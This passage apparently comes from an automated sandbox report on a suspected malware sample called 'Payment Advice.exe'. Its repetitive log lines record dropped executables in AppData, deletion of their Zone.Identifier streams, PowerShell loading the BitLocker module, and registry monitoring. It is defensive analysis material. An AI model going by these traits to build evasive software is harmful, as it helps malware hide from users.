Source: C:\Users\user\Desktop\Payment Advice.exe	File opened: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe:Zone.Identifier read attributes \| delete			Jump to behavior
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	File opened: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe:Zone.Identifier read attributes \| delete

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Users\user\Desktop\Payment Advice.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot

Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
